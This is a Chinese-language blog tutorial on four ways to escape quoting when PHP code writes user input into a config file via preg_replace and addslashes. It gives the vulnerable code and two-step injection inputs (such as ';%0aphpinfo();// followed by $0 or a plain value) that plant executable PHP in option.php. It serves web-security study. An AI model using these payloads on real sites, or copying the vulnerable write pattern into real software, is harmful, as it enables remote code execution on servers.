配置写入时引号逃逸的4种类型
被匹配的内容:
<?php
$API='aaaa';
?>
第一种写入方式:
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/", "\$API='{$api}';", $file);
file_put_contents('./option.php', $file);
先';%0aphpinfo();//
发现还有单引号被转义,因为addslashes($_GET['api']);有这个存在,我们输入内容就称为了
%0aphpinfo();//

可以继续输入为任意字符,这样$api接收的内容就会将单引号包裹的内容进行替换,我这里输入 1 ,成功绕过

第二种写入方式:
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/s", "\$API='{$api}';", $file); // 将正则规则为 换行符匹配
file_put_contents('./option.php', $file);
用上面的办法已经行不通了,因为一次匹配把换行之后的内容也匹配起来,可以先;phpinfo();,内容为如下

然后再输入$0,发现内容为如下,成功绕过

原因是:先;phpinfo();,可以让单引号中的内容为;phpinfo();,然后在$0,$0的意思为匹配完整的内容,$0和\\0一个意思,就是正则匹配的结果,\\0代表完整的匹配
关于反向引用的内容参考:https://www.php.net/preg_replace/
这时候匹配到的内容就是$API=';phpinfo();';,将该内容填充为单引号中的内容,前面的单引号闭合,后面的也闭合,成功执行
第三种写入方式:
/\\\$API='.*?';/,这里是非贪婪模式进行正则匹配
先';%0aphpinfo();//

然后输入1就可以成功绕过了

第四种写入方式:
/\\\$API='.*?';/s,这里是非贪婪模式,换行匹配
先aaa';phpinfo();//,

再aaa 成功绕过

原因:加了贪婪模式之后,匹配的内容就是$API='aaa\'这一段,后面的;phpinfo();//';是匹配不到的,然后再输入aaa那么替换的就是aaa\这段,从而绕过!

浙公网安备 33010602011771号